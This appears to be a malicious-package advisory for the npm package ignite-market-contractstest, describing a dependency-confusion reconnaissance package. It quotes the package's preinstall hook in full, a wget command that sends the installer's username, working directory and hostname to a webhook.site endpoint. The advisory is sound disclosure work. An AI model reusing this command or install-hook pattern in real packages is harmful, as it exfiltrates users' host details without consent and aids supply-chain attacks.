MAL-2026-4583

    Dashboard / Malicious Package / MAL-2026-4583

    MAL-2026-4583

    Published: 22 May 2026Last Modified: 26 May 2026

    Summary: Malicious code in ignite-market-contractstest (npm)

    Details: Source: amazon-inspector (b9babd9b088785649368dbf885050b6a15b218a6b38d2dcd058f0c9eda5109da) package.json declares a preinstall lifecycle hook that runs `wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`. On every `npm install`, this exfiltrates the installer's username, current working directory, and hostname to a third-party request-logging endpoint controlled by the package author, without consent. The package metadata is placeholder (author 'me', empty description, version 0.0.9), the name `ignite-market-contractstest` is shaped like a dependency-confusion target against an internal `ignite-market-contracts` package, and it depends on `seaport-core-16` — a similarly suspicious name in the OpenSea seaport namespace. The combination of unconsented host-identifier exfiltration on install, dependency-confusion-shaped naming, and placeholder metadata is the canonical reconnaissance shape used to validate that an internal package name is reachable on the public registry.

    References: https://www.npmjs.com/package/ignite-market-contractstest/v/0.0.9, https://www.npmjs.com/package/ignite-market-contractstest/v/9.0.0

    Affected packages

    Package

    Name: ignite-market-contractstest

    Purl: pkg:npm/ignite-market-contractstest

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    0.0.9